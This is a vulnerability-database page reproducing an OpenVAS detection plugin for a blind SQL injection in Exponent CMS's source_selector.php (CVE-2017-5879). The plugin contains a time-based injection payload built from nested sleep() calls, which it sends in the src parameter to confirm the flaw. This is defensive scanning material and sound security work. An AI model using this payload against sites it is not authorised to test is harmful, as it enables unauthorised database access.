Lucene search
K

Exponent CMS 'source_selector.php' SQL Injection Vulnerability

🗓️ 08 Feb 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 29 Views

Exponent CMS 'source_selector.php' SQL Injection Vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
CNVD
OIC Exponent CMS SQL Injection Vulnerability (CNVD-2017-01280)
7 Feb 201700:00
cnvd
CVE
CVE-2017-5879
6 Feb 201715:00
cve
Cvelist
CVE-2017-5879
6 Feb 201715:00
cvelist
EUVD
EUVD-2017-14954
7 Oct 202500:30
euvd
NVD
CVE-2017-5879
6 Feb 201715:59
nvd
Prion
Sql injection
6 Feb 201715:59
prion
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:exponentcms:exponent_cms";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108077");
  script_version("2023-07-14T16:09:27+0000");
  script_cve_id("CVE-2017-5879");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-14 16:09:27 +0000 (Fri, 14 Jul 2023)");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-02-08 18:44:00 +0000 (Wed, 08 Feb 2017)");
  script_tag(name:"creation_date", value:"2017-02-08 11:31:19 +0100 (Wed, 08 Feb 2017)");
  script_name("Exponent CMS 'source_selector.php' SQL Injection Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_exponet_cms_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("ExponentCMS/installed");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/96039");
  script_xref(name:"URL", value:"https://github.com/exponentcms/exponent-cms/issues/73");
  script_xref(name:"URL", value:"http://www.exponentcms.org/news/patch-2-released-for-v2-4-1");

  script_tag(name:"summary", value:"Exponent CMS is prone to a sql injection vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check the response time.");

  script_tag(name:"insight", value:"The vulnerability is a blind SQL injection that can be
  exploited by un-authenticated users via an HTTP GET request and affects source_selector.php
  and the following parameter: src.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to e.g dump database data out to a malicious server, using an
  out-of-band technique, such as select_loadfile().");

  script_tag(name:"affected", value:"Exponent CMS 2.4.1 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution", value:"Update to version 2.4.1 Patch #2 or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

# Latency check
req = http_get( item: dir + "/source_selector.php?controller=blog&action=showall&src=@random", port:port );
start = unixtime();
res = http_keepalive_send_recv( port:port, data:req );
stop = unixtime();
latency = stop - start;

count = 0;

foreach sleep( make_list( 3, 5 ) ) {

  url = dir + "/source_selector.php?controller=blog&action=showall&src='%20and%20(select+sleep(2)%20from(select(sleep(" + sleep + ")))a)--%20";

  req = http_get( item:url, port:port );
  start = unixtime();
  res = http_keepalive_send_recv( port:port, data:req );
  stop = unixtime();

  if( stop - start < sleep || stop - start > ( sleep + 20 + latency ) ) {
    exit( 0 );
  } else {
    count += 1;
  }
}

if( count == 2 ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2023 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 27.5
CVSS 39.8
EPSS0.01908
29